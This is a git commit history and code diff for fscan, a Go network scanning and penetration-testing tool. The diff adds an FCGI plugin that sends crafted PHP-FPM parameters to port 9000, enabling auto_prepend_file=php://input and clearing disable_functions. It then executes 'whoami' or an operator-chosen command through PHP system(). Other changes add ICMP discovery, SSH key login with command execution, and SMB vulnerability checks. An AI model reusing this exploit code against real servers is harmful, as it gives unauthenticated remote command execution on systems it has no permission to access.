23 Commits
Author SHA1 Message Date
shadow1ng c8ec4eab79 update README.md 2021-06-18 12:31:27 +08:00
shadow1ng 80fe8548c1 update icmp 2021-06-18 11:45:47 +08:00
shadow1ng ad1c53e3f4 更新poc 2021-06-18 10:30:01 +08:00
shadow1ng a8835a9fe4 Merge remote-tracking branch 'origin/main' into main 2021-06-18 09:57:27 +08:00
影舞者 db8acb2828 Merge pull request #67 from canc3s/main
改善了poc机制和修复bug

还改善了一下poc的机制,如果识别出指纹会根据指纹信息发送poc,如果没有识别到指纹才会把所有poc打一遍
2021-06-18 09:46:54 +08:00
影舞者 288338bc9d Update go.sum 2021-06-18 09:45:13 +08:00
影舞者 0743e4cb68 Update check.go 2021-06-18 09:38:30 +08:00
影舞者 6cdf1e19dc Update go.mod 2021-06-18 09:37:23 +08:00
canc3s a427833e3f fix bug
改善了poc机制和修复bug
2021-06-17 20:32:53 +08:00
影舞者 d974523d88 Update ssh.go 2021-06-09 11:32:59 +08:00
shadow1ng c90c9272f0 update 2021-06-09 11:16:23 +08:00
影舞者 a9e78b6de3 Merge pull request #63 from 7ten7/dev
添加一个海康威视摄像头指纹
2021-06-08 11:32:54 +08:00
7TEN7 ca1e0c791c 添加一个海康威视摄像头指纹 2021-06-08 01:07:39 +08:00
shadow1ng 90ef895e0f ssh模块加入私钥连接 2021-05-31 10:03:01 +08:00
shadow1ng 162d1dd3a3 优化icmp模块 2021-05-29 20:16:01 +08:00
shadow1ng f3b0c4a6d2 update 2021-05-29 15:58:16 +08:00
shadow1ng 936c1f5395 update 2021-05-29 15:55:05 +08:00
shadow1ng 9d385eb26a 加入fcgi协议未授权命令执行扫描,优化poc模块 2021-05-29 12:13:10 +08:00
shadow1ng 61e814119d 修复ssh跳过问题 2021-05-27 14:19:21 +08:00
shadow1ng f5c9667f91 webtitle update 2021-05-20 09:34:27 +08:00
shadow1ng 4f3ff608ab webtitle模块加入chardet 2021-05-18 16:23:50 +08:00
shadow1ng 0dd41e2917 更新指纹 2021-05-16 10:47:29 +08:00
shadow1ng 7031d78439 update redeme.md 2021-05-15 11:54:17 +08:00
43 changed files with 1164 additions and 41161 deletions
+1 -1
View File
@@ -119,7 +119,7 @@ func SmbGhostScan(info *common.HostInfo) error {
}
defer conn.Close()
if bytes.Contains(buff[:n], []byte("Public")) == true {
result := fmt.Sprintf("%v CVE-2020-0796 SmbGhost Vulnerable", ip)
result := fmt.Sprintf("[+] %v CVE-2020-0796 SmbGhost Vulnerable", ip)
common.LogSuccess(result)
}
+1 -1
View File
@@ -54,7 +54,7 @@ func NetBIOS(info *common.HostInfo) error {
if strings.Contains(nbname.msg, "Domain Controllers") {
isdc = "[+]DC"
}
msg += fmt.Sprintf("[*] %-15s%-5s %s\\%s %s", info.Host, isdc, nbname.group, nbname.unique, nbname.osversion)
msg += fmt.Sprintf("[*] %-15s%-5s %s\\%-15s %s", info.Host, isdc, nbname.group, nbname.unique, nbname.osversion)
if info.Scantype == "netbios" {
msg += "\n-------------------------------------------\n" + nbname.msg
+1
View File
@@ -10,6 +10,7 @@ var PluginList = map[string]interface{}{
"3306": MysqlScan,
"5432": PostgresScan,
"6379": RedisScan,
"9000": FcgiScan,
"11211": MemcachedScan,
"27017": MongodbScan,
"1000001": MS17010,
+365
View File
@@ -0,0 +1,365 @@
package Plugins
import (
"bufio"
"bytes"
"encoding/binary"
"errors"
"fmt"
"github.com/shadow1ng/fscan/common"
"io"
"net"
"strconv"
"strings"
"sync"
"time"
)
//links
//https://xz.aliyun.com/t/9544
//https://github.com/wofeiwo/webcgi-exploits
func FcgiScan(info *common.HostInfo) {
url := "/etc/issue"
if info.Path != "" {
url = info.Path
}
addr := fmt.Sprintf("%v:%v", info.Host, info.Ports)
var reqParams string
var cutLine = "-----ASDGTasdkk361363s-----\n"
switch {
case info.Command == "read":
reqParams = ""
case info.Command != "":
reqParams = "<?php system('" + info.Command + "');die('" + cutLine + "');?>"
default:
reqParams = "<?php system('whoami');die('" + cutLine + "');?>"
}
env := make(map[string]string)
env["SCRIPT_FILENAME"] = url
env["DOCUMENT_ROOT"] = "/"
env["SERVER_SOFTWARE"] = "go / fcgiclient "
env["REMOTE_ADDR"] = "127.0.0.1"
env["SERVER_PROTOCOL"] = "HTTP/1.1"
if len(reqParams) != 0 {
env["CONTENT_LENGTH"] = strconv.Itoa(len(reqParams))
env["REQUEST_METHOD"] = "POST"
env["PHP_VALUE"] = "allow_url_include = On\ndisable_functions = \nauto_prepend_file = php://input"
} else {
env["REQUEST_METHOD"] = "GET"
}
fcgi, err := New(addr, info.Timeout)
if err != nil {
errlog := fmt.Sprintf("[-] fcgi %v:%v %v", info.Host, info.Ports, err)
common.LogError(errlog)
return
}
stdout, stderr, err := fcgi.Request(env, reqParams)
if err != nil {
errlog := fmt.Sprintf("[-] fcgi %v:%v %v", info.Host, info.Ports, err)
common.LogError(errlog)
return
}
//1
//Content-type: text/html
//
//uid=1001(www) gid=1001(www) groups=1001(www)
//2
//Status: 404 Not Found
//Content-type: text/html
//
//File not found.
//Primary script unknown
//3
//Status: 403 Forbidden
//Content-type: text/html
//
//Access denied.
//Access to the script '/etc/passwd' has been denied (see security.limit_extensions)
var result string
var output = string(stdout)
if strings.Contains(string(stdout), cutLine) { //命令成功回显
output = strings.SplitN(string(stdout), cutLine, 2)[0]
if len(stderr) > 0 {
result = fmt.Sprintf("[+] FCGI:%v:%v \n%vstderr:%v\nplesa try other path,as -path /www/wwwroot/index.php", info.Host, info.Ports, output, string(stderr))
} else {
result = fmt.Sprintf("[+] FCGI:%v:%v \n%v", info.Host, info.Ports, output)
}
common.LogSuccess(result)
} else if strings.Contains(string(stdout), "File not found") || strings.Contains(string(stdout), "Content-type") || strings.Contains(string(stdout), "Status") {
if len(stderr) > 0 {
result = fmt.Sprintf("[+] FCGI:%v:%v \n%vstderr:%v\nplesa try other path,as -path /www/wwwroot/index.php", info.Host, info.Ports, string(stdout), string(stderr))
} else {
result = fmt.Sprintf("[+] FCGI:%v:%v \n%v", info.Host, info.Ports, string(stdout))
}
common.LogSuccess(result)
}
}
// for padding so we don't have to allocate all the time
// not synchronized because we don't care what the contents are
var pad [maxPad]byte
const (
FCGI_BEGIN_REQUEST uint8 = iota + 1
FCGI_ABORT_REQUEST
FCGI_END_REQUEST
FCGI_PARAMS
FCGI_STDIN
FCGI_STDOUT
FCGI_STDERR
)
const (
FCGI_RESPONDER uint8 = iota + 1
)
const (
maxWrite = 6553500 // maximum record body
maxPad = 255
)
type header struct {
Version uint8
Type uint8
Id uint16
ContentLength uint16
PaddingLength uint8
Reserved uint8
}
func (h *header) init(recType uint8, reqId uint16, contentLength int) {
h.Version = 1
h.Type = recType
h.Id = reqId
h.ContentLength = uint16(contentLength)
h.PaddingLength = uint8(-contentLength & 7)
}
type record struct {
h header
buf [maxWrite + maxPad]byte
}
func (rec *record) read(r io.Reader) (err error) {
if err = binary.Read(r, binary.BigEndian, &rec.h); err != nil {
return err
}
if rec.h.Version != 1 {
return errors.New("fcgi: invalid header version")
}
n := int(rec.h.ContentLength) + int(rec.h.PaddingLength)
if _, err = io.ReadFull(r, rec.buf[:n]); err != nil {
return err
}
return nil
}
func (r *record) content() []byte {
return r.buf[:r.h.ContentLength]
}
type FCGIClient struct {
mutex sync.Mutex
rwc io.ReadWriteCloser
h header
buf bytes.Buffer
keepAlive bool
}
func New(addr string, timeout int64) (fcgi *FCGIClient, err error) {
conn, err := net.DialTimeout("tcp", addr, time.Duration(timeout)*time.Second)
fcgi = &FCGIClient{
rwc: conn,
keepAlive: false,
}
return
}
func (this *FCGIClient) writeRecord(recType uint8, reqId uint16, content []byte) (err error) {
this.mutex.Lock()
defer this.mutex.Unlock()
this.buf.Reset()
this.h.init(recType, reqId, len(content))
if err := binary.Write(&this.buf, binary.BigEndian, this.h); err != nil {
return err
}
if _, err := this.buf.Write(content); err != nil {
return err
}
if _, err := this.buf.Write(pad[:this.h.PaddingLength]); err != nil {
return err
}
_, err = this.rwc.Write(this.buf.Bytes())
return err
}
func (this *FCGIClient) writeBeginRequest(reqId uint16, role uint16, flags uint8) error {
b := [8]byte{byte(role >> 8), byte(role), flags}
return this.writeRecord(FCGI_BEGIN_REQUEST, reqId, b[:])
}
func (this *FCGIClient) writeEndRequest(reqId uint16, appStatus int, protocolStatus uint8) error {
b := make([]byte, 8)
binary.BigEndian.PutUint32(b, uint32(appStatus))
b[4] = protocolStatus
return this.writeRecord(FCGI_END_REQUEST, reqId, b)
}
func (this *FCGIClient) writePairs(recType uint8, reqId uint16, pairs map[string]string) error {
w := newWriter(this, recType, reqId)
b := make([]byte, 8)
for k, v := range pairs {
n := encodeSize(b, uint32(len(k)))
n += encodeSize(b[n:], uint32(len(v)))
if _, err := w.Write(b[:n]); err != nil {
return err
}
if _, err := w.WriteString(k); err != nil {
return err
}
if _, err := w.WriteString(v); err != nil {
return err
}
}
w.Close()
return nil
}
func readSize(s []byte) (uint32, int) {
if len(s) == 0 {
return 0, 0
}
size, n := uint32(s[0]), 1
if size&(1<<7) != 0 {
if len(s) < 4 {
return 0, 0
}
n = 4
size = binary.BigEndian.Uint32(s)
size &^= 1 << 31
}
return size, n
}
func readString(s []byte, size uint32) string {
if size > uint32(len(s)) {
return ""
}
return string(s[:size])
}
func encodeSize(b []byte, size uint32) int {
if size > 127 {
size |= 1 << 31
binary.BigEndian.PutUint32(b, size)
return 4
}
b[0] = byte(size)
return 1
}
// bufWriter encapsulates bufio.Writer but also closes the underlying stream when
// Closed.
type bufWriter struct {
closer io.Closer
*bufio.Writer
}
func (w *bufWriter) Close() error {
if err := w.Writer.Flush(); err != nil {
w.closer.Close()
return err
}
return w.closer.Close()
}
func newWriter(c *FCGIClient, recType uint8, reqId uint16) *bufWriter {
s := &streamWriter{c: c, recType: recType, reqId: reqId}
w := bufio.NewWriterSize(s, maxWrite)
return &bufWriter{s, w}
}
// streamWriter abstracts out the separation of a stream into discrete records.
// It only writes maxWrite bytes at a time.
type streamWriter struct {
c *FCGIClient
recType uint8
reqId uint16
}
func (w *streamWriter) Write(p []byte) (int, error) {
nn := 0
for len(p) > 0 {
n := len(p)
if n > maxWrite {
n = maxWrite
}
if err := w.c.writeRecord(w.recType, w.reqId, p[:n]); err != nil {
return nn, err
}
nn += n
p = p[n:]
}
return nn, nil
}
func (w *streamWriter) Close() error {
// send empty record to close the stream
return w.c.writeRecord(w.recType, w.reqId, nil)
}
func (this *FCGIClient) Request(env map[string]string, reqStr string) (retout []byte, reterr []byte, err error) {
var reqId uint16 = 1
defer this.rwc.Close()
err = this.writeBeginRequest(reqId, uint16(FCGI_RESPONDER), 0)
if err != nil {
return
}
err = this.writePairs(FCGI_PARAMS, reqId, env)
if err != nil {
return
}
if len(reqStr) > 0 {
err = this.writeRecord(FCGI_STDIN, reqId, []byte(reqStr))
if err != nil {
return
}
}
rec := &record{}
var err1 error
// recive untill EOF or FCGI_END_REQUEST
for {
err1 = rec.read(this.rwc)
if err1 != nil {
if err1 != io.EOF {
err = err1
}
break
}
switch {
case rec.h.Type == FCGI_STDOUT:
retout = append(retout, rec.content()...)
case rec.h.Type == FCGI_STDERR:
reterr = append(reterr, rec.content()...)
case rec.h.Type == FCGI_END_REQUEST:
fallthrough
default:
break
}
}
return
}
+176 -120
View File
@@ -5,62 +5,72 @@ import (
"fmt"
"github.com/shadow1ng/fscan/common"
"golang.org/x/net/icmp"
"log"
"net"
"os"
"os/exec"
"os/user"
"runtime"
"strings"
"sync"
"time"
)
var AliveHosts []string
var (
AliveHosts []string
OS = runtime.GOOS
ExistHosts = make(map[string]struct{})
livewg sync.WaitGroup
)
var SysInfo = GetSys()
func ICMPRun(hostslist []string, Ping bool) []string {
chanHosts := make(chan string, len(hostslist))
go func() {
for ip := range chanHosts {
if _, ok := ExistHosts[ip]; !ok && IsContain(hostslist, ip) {
ExistHosts[ip] = struct{}{}
if common.Silent == false {
if Ping == false {
fmt.Printf("(icmp) Target '%s' is alive\n", ip)
} else {
fmt.Printf("(ping) Target '%s' is alive\n", ip)
}
}
AliveHosts = append(AliveHosts, ip)
}
livewg.Done()
}
}()
type SystemInfo struct {
OS string
HostName string
Groupid string
Userid string
Username string
}
func GetSys() SystemInfo {
var sysinfo SystemInfo
sysinfo.OS = runtime.GOOS
name, err := os.Hostname()
if err == nil {
sysinfo.HostName = name
if Ping == true {
//使用ping探测
RunPing(hostslist, chanHosts)
} else {
name = "none"
//优先尝试监听本地icmp,批量探测
conn, err := icmp.ListenPacket("ip4:icmp", "0.0.0.0")
if err == nil {
RunIcmp1(hostslist, conn, chanHosts)
} else {
common.LogError(err)
//尝试无监听icmp探测
conn, err := net.DialTimeout("ip4:icmp", "127.0.0.1", 3*time.Second)
if err == nil {
go conn.Close()
RunIcmp2(hostslist, chanHosts)
} else {
common.LogError(err)
//使用ping探测
fmt.Println("The current user permissions unable to send icmp packets")
fmt.Println("start ping")
RunPing(hostslist, chanHosts)
}
}
}
u, err := user.Current()
if err == nil {
sysinfo.Groupid = u.Gid
sysinfo.Userid = u.Uid
sysinfo.Username = u.Username
} else {
sysinfo.Groupid = "1"
sysinfo.Userid = "1"
sysinfo.Username = name
}
return sysinfo
livewg.Wait()
close(chanHosts)
return AliveHosts
}
func IcmpCheck(hostslist []string) {
TmpHosts := make(map[string]struct{})
var chanHosts = make(chan string)
conn, err := icmp.ListenPacket("ip4:icmp", "0.0.0.0")
func RunIcmp1(hostslist []string, conn *icmp.PacketConn, chanHosts chan string) {
endflag := false
if err != nil {
log.Fatal(err)
}
go func() {
for {
if endflag == true {
@@ -69,51 +79,114 @@ func IcmpCheck(hostslist []string) {
msg := make([]byte, 100)
_, sourceIP, _ := conn.ReadFrom(msg)
if sourceIP != nil {
livewg.Add(1)
chanHosts <- sourceIP.String()
}
}
}()
go func() {
for ip := range chanHosts {
if _, ok := TmpHosts[ip]; !ok {
TmpHosts[ip] = struct{}{}
if common.Silent == false {
fmt.Printf("(icmp) Target '%s' is alive\n", ip)
}
AliveHosts = append(AliveHosts, ip)
}
}
}()
for _, host := range hostslist {
write(host, conn)
dst, _ := net.ResolveIPAddr("ip", host)
IcmpByte := makemsg(host)
conn.WriteTo(IcmpByte, dst)
}
if len(hostslist) > 255 {
time.Sleep(6 * time.Second)
} else {
time.Sleep(3 * time.Second)
//根据hosts数量修改icmp监听时间
start := time.Now()
for {
if len(AliveHosts) == len(hostslist) {
break
}
since := time.Now().Sub(start)
var wait time.Duration
switch {
case len(hostslist) <= 256:
wait = time.Second * 3
default:
wait = time.Second * 6
}
if since > wait {
break
}
}
endflag = true
close(chanHosts)
conn.Close()
}
func write(ip string, conn *icmp.PacketConn) {
dst, _ := net.ResolveIPAddr("ip", ip)
IcmpByte := []byte{8, 0, 247, 255, 0, 0, 0, 0}
conn.WriteTo(IcmpByte, dst)
func RunIcmp2(hostslist []string, chanHosts chan string) {
num := 1000
if len(hostslist) < num {
num = len(hostslist)
}
var wg sync.WaitGroup
limiter := make(chan struct{}, num)
for _, host := range hostslist {
wg.Add(1)
limiter <- struct{}{}
go func(host string) {
if icmpalive(host) {
livewg.Add(1)
chanHosts <- host
}
<-limiter
wg.Done()
}(host)
}
wg.Wait()
close(limiter)
}
func icmpalive(host string) bool {
startTime := time.Now()
conn, err := net.DialTimeout("ip4:icmp", host, 6*time.Second)
if err != nil {
return false
}
defer conn.Close()
if err := conn.SetDeadline(startTime.Add(6 * time.Second)); err != nil {
return false
}
msg := makemsg(host)
if _, err := conn.Write(msg); err != nil {
return false
}
receive := make([]byte, 60)
if _, err := conn.Read(receive); err != nil {
return false
}
return true
}
func RunPing(hostslist []string, chanHosts chan string) {
var bsenv = ""
if OS != "windows" {
bsenv = "/bin/bash"
}
var wg sync.WaitGroup
limiter := make(chan struct{}, 50)
for _, host := range hostslist {
wg.Add(1)
limiter <- struct{}{}
go func(host string) {
if ExecCommandPing(host, bsenv) {
livewg.Add(1)
chanHosts <- host
}
<-limiter
wg.Done()
}(host)
}
wg.Wait()
}
func ExecCommandPing(ip string, bsenv string) bool {
var command *exec.Cmd
if SysInfo.OS == "windows" {
if OS == "windows" {
command = exec.Command("cmd", "/c", "ping -n 1 -w 1 "+ip+" && echo true || echo false") //ping -c 1 -i 0.5 -t 4 -W 2 -w 5 "+ip+" >/dev/null && echo true || echo false"
} else if SysInfo.OS == "linux" {
} else if OS == "linux" {
command = exec.Command(bsenv, "-c", "ping -c 1 -w 1 "+ip+" >/dev/null && echo true || echo false") //ping -c 1 -i 0.5 -t 4 -W 2 -w 5 "+ip+" >/dev/null && echo true || echo false"
} else if SysInfo.OS == "darwin" {
} else if OS == "darwin" {
command = exec.Command(bsenv, "-c", "ping -c 1 -W 1 "+ip+" >/dev/null && echo true || echo false") //ping -c 1 -i 0.5 -t 4 -W 2 -w 5 "+ip+" >/dev/null && echo true || echo false"
}
outinfo := bytes.Buffer{}
@@ -133,59 +206,42 @@ func ExecCommandPing(ip string, bsenv string) bool {
}
}
func PingCMDcheck(hostslist []string, bsenv string) {
var wg sync.WaitGroup
mutex := &sync.Mutex{}
limiter := make(chan struct{}, 50)
for _, host := range hostslist {
wg.Add(1)
limiter <- struct{}{}
go func(host string) {
defer wg.Done()
if ExecCommandPing(host, bsenv) {
mutex.Lock()
if common.Silent == false {
fmt.Printf("(Ping) Target '%s' is alive\n", host)
}
AliveHosts = append(AliveHosts, host)
mutex.Unlock()
}
<-limiter
}(host)
}
wg.Wait()
func makemsg(host string) []byte {
msg := make([]byte, 40)
id0, id1 := genIdentifier(host)
msg[0] = 8
msg[1] = 0
msg[2] = 0
msg[3] = 0
msg[4], msg[5] = id0, id1
msg[6], msg[7] = genSequence(1)
check := checkSum(msg[0:40])
msg[2] = byte(check >> 8)
msg[3] = byte(check & 255)
return msg
}
func ICMPRun(hostslist []string, Ping bool) []string {
if SysInfo.OS == "windows" {
if Ping == false {
IcmpCheck(hostslist)
} else {
PingCMDcheck(hostslist, "")
}
} else if SysInfo.OS == "linux" {
if SysInfo.Groupid == "0" || SysInfo.Userid == "0" || SysInfo.Username == "root" {
if Ping == false {
IcmpCheck(hostslist)
} else {
PingCMDcheck(hostslist, "/bin/bash")
}
} else {
fmt.Println("The current user permissions unable to send icmp packets")
fmt.Println("start ping")
PingCMDcheck(hostslist, "/bin/bash")
}
} else if SysInfo.OS == "darwin" {
if SysInfo.Groupid == "0" || SysInfo.Userid == "0" || SysInfo.Username == "root" {
if Ping == false {
IcmpCheck(hostslist)
} else {
PingCMDcheck(hostslist, "/bin/bash")
}
} else {
fmt.Println("The current user permissions unable to send icmp packets")
fmt.Println("start ping")
PingCMDcheck(hostslist, "/bin/bash")
}
func checkSum(msg []byte) uint16 {
sum := 0
length := len(msg)
for i := 0; i < length-1; i += 2 {
sum += int(msg[i])*256 + int(msg[i+1])
}
return AliveHosts
if length%2 == 1 {
sum += int(msg[length-1]) * 256
}
sum = (sum >> 16) + (sum & 0xffff)
sum = sum + (sum >> 16)
answer := uint16(^sum)
return answer
}
func genSequence(v int16) (byte, byte) {
ret1 := byte(v >> 8)
ret2 := byte(v & 255)
return ret1, ret2
}
func genIdentifier(host string) (byte, byte) {
return host[0], host[1]
}
+1 -2
View File
@@ -81,7 +81,7 @@ func MS17010Scan(info *common.HostInfo) error {
// find byte count
byteCount := binary.LittleEndian.Uint16(sessionSetupResponse[7:9])
if n != int(byteCount)+45 {
fmt.Println("invalid session setup AndX response")
fmt.Println("[-]", ip+":445", "ms17010 invalid session setup AndX response")
} else {
// two continous null bytes indicates end of a unicode string
for i := 10; i < len(sessionSetupResponse)-1; i++ {
@@ -141,7 +141,6 @@ func MS17010Scan(info *common.HostInfo) error {
}
if reply[34] == 0x51 {
//fmt.Printf("DOUBLEPULSAR SMB IMPLANT in %s\n", ip)
result := fmt.Sprintf("[+] %s has DOUBLEPULSAR SMB IMPLANT", ip)
common.LogSuccess(result)
}
+2 -2
View File
@@ -34,8 +34,8 @@ func PortScan(hostslist []string, ports string, timeout int64) []string {
probePorts = tmpPorts
}
workers := common.Threads
Addrs := make(chan Addr)
results := make(chan string)
Addrs := make(chan Addr, len(hostslist)*len(probePorts))
results := make(chan string, len(hostslist)*len(probePorts))
var wg sync.WaitGroup
//接收结果
+13 -8
View File
@@ -3,7 +3,7 @@ package Plugins
import (
"errors"
"fmt"
"github.com/shadow1ng/fscan/WebScan"
"github.com/shadow1ng/fscan/WebScan/lib"
"github.com/shadow1ng/fscan/common"
"reflect"
"strconv"
@@ -14,7 +14,7 @@ import (
func Scan(info common.HostInfo) {
fmt.Println("start infoscan")
Hosts, _ := common.ParseIP(info.Host, common.HostFile)
WebScan.Inithttp(common.Pocinfo)
lib.Inithttp(common.Pocinfo)
var ch = make(chan struct{}, common.Threads)
var wg = sync.WaitGroup{}
if len(Hosts) > 0 {
@@ -39,12 +39,17 @@ func Scan(info common.HostInfo) {
for _, targetIP := range AlivePorts {
info.Host, info.Ports = strings.Split(targetIP, ":")[0], strings.Split(targetIP, ":")[1]
if info.Scantype == "all" {
if info.Ports == "445" { //scan more vul
AddScan("1000001", info, ch, &wg)
AddScan("1000002", info, ch, &wg)
} else if IsContain(severports, info.Ports) {
AddScan(info.Ports, info, ch, &wg)
} else {
switch {
case info.Ports == "445":
//AddScan(info.Ports, info, ch, &wg) //smb
AddScan("1000001", info, ch, &wg) //ms17010
AddScan("1000002", info, ch, &wg) //smbghost
case info.Ports == "9000":
AddScan(info.Ports, info, ch, &wg) //fcgiscan
AddScan("1000003", info, ch, &wg) //http
case IsContain(severports, info.Ports):
AddScan(info.Ports, info, ch, &wg) //plugins scan
default:
AddScan("1000003", info, ch, &wg) //webtitle
}
} else {
+3 -3
View File
@@ -40,7 +40,7 @@ func SmbScan(info *common.HostInfo) (tmperr error) {
return tmperr
}
func SmblConn(info *common.HostInfo, user string, pass string, Domain string, signal chan struct{}) (flag bool, err error) {
func SmblConn(info *common.HostInfo, user string, pass string, signal chan struct{}) (flag bool, err error) {
flag = false
Host, Username, Password := info.Host, user, pass
options := smb.Options{
@@ -48,7 +48,7 @@ func SmblConn(info *common.HostInfo, user string, pass string, Domain string, si
Port: 445,
User: Username,
Password: Password,
Domain: Domain,
Domain: info.Domain,
Workstation: "",
}
@@ -66,7 +66,7 @@ func SmblConn(info *common.HostInfo, user string, pass string, Domain string, si
func doWithTimeOut(info *common.HostInfo, user string, pass string) (flag bool, err error) {
signal := make(chan struct{})
go func() {
flag, err = SmblConn(info, user, pass, info.Domain, signal)
flag, err = SmblConn(info, user, pass, signal)
}()
select {
case <-signal:
+31 -6
View File
@@ -1,9 +1,11 @@
package Plugins
import (
"errors"
"fmt"
"github.com/shadow1ng/fscan/common"
"golang.org/x/crypto/ssh"
"io/ioutil"
"net"
"strings"
"time"
@@ -28,6 +30,9 @@ func SshScan(info *common.HostInfo) (tmperr error) {
return err
}
}
if info.SshKey != "" {
return err
}
}
}
return tmperr
@@ -36,11 +41,24 @@ func SshScan(info *common.HostInfo) (tmperr error) {
func SshConn(info *common.HostInfo, user string, pass string) (flag bool, err error) {
flag = false
Host, Port, Username, Password := info.Host, info.Ports, user, pass
Auth := []ssh.AuthMethod{}
if info.SshKey != "" {
pemBytes, err := ioutil.ReadFile(info.SshKey)
if err != nil {
return false, errors.New("read key failed" + err.Error())
}
signer, err := ssh.ParsePrivateKey(pemBytes)
if err != nil {
return false, errors.New("parse key failed" + err.Error())
}
Auth = []ssh.AuthMethod{ssh.PublicKeys(signer)}
} else {
Auth = []ssh.AuthMethod{ssh.Password(Password)}
}
config := &ssh.ClientConfig{
User: Username,
Auth: []ssh.AuthMethod{
ssh.Password(Password),
},
User: Username,
Auth: Auth,
Timeout: time.Duration(info.Timeout) * time.Second,
HostKeyCallback: func(hostname string, remote net.Addr, key ssh.PublicKey) error {
return nil
@@ -54,12 +72,19 @@ func SshConn(info *common.HostInfo, user string, pass string) (flag bool, err er
if err == nil {
defer session.Close()
flag = true
var result string
if info.Command != "" {
combo, _ := session.CombinedOutput(info.Command)
result := fmt.Sprintf("[+] SSH:%v:%v:%v %v \n %v", Host, Port, Username, Password, string(combo))
result = fmt.Sprintf("[+] SSH:%v:%v:%v %v \n %v", Host, Port, Username, Password, string(combo))
if info.SshKey != "" {
result = fmt.Sprintf("[+] SSH:%v:%v sshkey correct \n %v", Host, Port, string(combo))
}
common.LogSuccess(result)
} else {
result := fmt.Sprintf("[+] SSH:%v:%v:%v %v", Host, Port, Username, Password)
result = fmt.Sprintf("[+] SSH:%v:%v:%v %v", Host, Port, Username, Password)
if info.SshKey != "" {
result = fmt.Sprintf("[+] SSH:%v:%v sshkey correct", Host, Port)
}
common.LogSuccess(result)
}
}
+12 -6
View File
@@ -4,6 +4,7 @@ import (
"bytes"
"compress/gzip"
"fmt"
"github.com/saintfish/chardet"
"github.com/shadow1ng/fscan/WebScan"
"github.com/shadow1ng/fscan/WebScan/lib"
"github.com/shadow1ng/fscan/common"
@@ -51,7 +52,6 @@ func GOWebTitle(info *common.HostInfo) error {
info.Url = fmt.Sprintf("http://%s", info.Url)
}
}
err, result, CheckData := geturl(info, 1, CheckData)
if err != nil && !strings.Contains(err.Error(), "EOF") {
return err
@@ -93,7 +93,7 @@ func GOWebTitle(info *common.HostInfo) error {
return err
}
WebScan.InfoCheck(info.Url, CheckData)
info.Infostr = WebScan.InfoCheck(info.Url, CheckData)
if common.IsWebCan == false {
WebScan.WebScan(info)
@@ -141,7 +141,7 @@ func geturl(info *common.HostInfo, flag int, CheckData []WebScan.CheckDatas) (er
return err, "", CheckData
}
if flag != 2 {
re := regexp.MustCompile("(?im)<title>(.*)</title>")
re := regexp.MustCompile("(?ims)<title>(.*)</title>")
find := re.FindSubmatch(body)
if len(find) > 1 {
text = find[1]
@@ -173,9 +173,15 @@ func geturl(info *common.HostInfo, flag int, CheckData []WebScan.CheckDatas) (er
}
return ""
}
encoding := GetEncoding()
_, charsetName, _ := charset.DetermineEncoding(body, "")
if encoding == "gbk" || encoding == "gb2312" || charsetName == "gbk" {
encode := GetEncoding()
_, encode1, _ := charset.DetermineEncoding(body, "")
var encode2 string
detector := chardet.NewTextDetector()
detectorstr, _ := detector.DetectBest(body)
if detectorstr != nil {
encode2 = detectorstr.Charset
}
if encode == "gbk" || encode == "gb2312" || encode1 == "gbk" || strings.Contains(strings.ToLower(encode2), "gb") {
titleGBK, err := Decodegbk(text)
if err == nil {
title = string(titleGBK)
+5
View File
@@ -50,6 +50,7 @@ fscan.exe -h 192.168.1.1/8 (A段的192.x.x.1和192.x.x.254,方便快速查看
fscan.exe -h 192.168.1.1/24 -m smb -pwd password (smb密码碰撞)
fscan.exe -h 192.168.1.1/24 -m ms17010 (指定模块)
fscan.exe -hf ip.txt (以文件导入)
fscan.exe -u http://baidu.com -proxy 8080 (扫描单个url,并设置http代理 http://127.0.0.1:8080)
```
编译命令
```
@@ -152,6 +153,10 @@ fscan 是 404Team [星链计划2.0](https://github.com/knownsec/404StarLink2.0-G
## 最近更新
[+] 2021/6/18 改善一下poc的机制,如果识别出指纹会根据指纹信息发送poc,如果没有识别到指纹才会把所有poc打一遍
[+] 2021/5/29 加入fcgi协议未授权命令执行扫描,优化poc模块,优化icmp模块,ssh模块加入私钥连接
[+] 2021/5/15 新增win03版本(删减了xray_poc模块),增加-silent 静默扫描模式,添加web指纹,修复netbios模块数组越界,添加一个CheckErrs字典,webtitle 增加gzip解码
[+] 2021/5/6 更新mod库、poc、指纹。修改线程处理机制、netbios探测、域控识别模块、webtitle编码模块等
[+] 2021/4/22 修改webtitle模块,加入gbk解码
[+] 2021/4/21 加入netbios探测、域控识别
[+] 2021/3/4 支持-u url或者-uf url.txt,对url进行批量扫描
+14 -13
View File
@@ -6,7 +6,6 @@ import (
"github.com/shadow1ng/fscan/WebScan/info"
"github.com/shadow1ng/fscan/common"
"regexp"
"strings"
)
type CheckDatas struct {
@@ -14,7 +13,7 @@ type CheckDatas struct {
Headers string
}
func InfoCheck(Url string, CheckData []CheckDatas) {
func InfoCheck(Url string, CheckData []CheckDatas) []string {
var matched bool
var infoname []string
@@ -36,12 +35,14 @@ func InfoCheck(Url string, CheckData []CheckDatas) {
}
}
infostr := RemoveMore(infoname)
infoname = removeDuplicateElement(infoname)
if len(infoname) > 0 {
result := fmt.Sprintf("[+] InfoScan:%-25v %s ", Url, infostr)
result := fmt.Sprintf("[+] InfoScan:%-25v %s ", Url, infoname)
common.LogSuccess(result)
return infoname
}
return []string{""}
}
func CalcMd5(Body []byte) (bool, string) {
@@ -55,15 +56,15 @@ func CalcMd5(Body []byte) (bool, string) {
return false, ""
}
func RemoveMore(a []string) (infostr string) {
var ret []string
for i := 0; i < len(a); i++ {
if (i > 0 && a[i-1] == a[i]) || len(a[i]) == 0 {
continue
func removeDuplicateElement(languages []string) []string {
result := make([]string, 0, len(languages))
temp := map[string]struct{}{}
for _, item := range languages {
if _, ok := temp[item]; !ok {
temp[item] = struct{}{}
result = append(result, item)
}
ret = append(ret, a[i])
}
infostr = strings.ReplaceAll(fmt.Sprintf("%s ", ret), "[", "")
infostr = strings.ReplaceAll(infostr, "]", "")
return
return result
}
+10 -16
View File
@@ -5,9 +5,8 @@ import (
"fmt"
"github.com/shadow1ng/fscan/WebScan/lib"
"github.com/shadow1ng/fscan/common"
"log"
"net/http"
"time"
"strings"
)
//go:embed pocs
@@ -15,11 +14,15 @@ var Pocs embed.FS
func WebScan(info *common.HostInfo) {
var pocinfo = common.Pocinfo
pocinfo.Target = info.Url
err := Execute(pocinfo)
if err != nil {
errlog := fmt.Sprintf("[-] webtitle %v %v", info.Url, err)
common.LogError(errlog)
buf := strings.Split(info.Url,"/")
pocinfo.Target = strings.Join(buf[:3],"/")
for _,infostr := range info.Infostr {
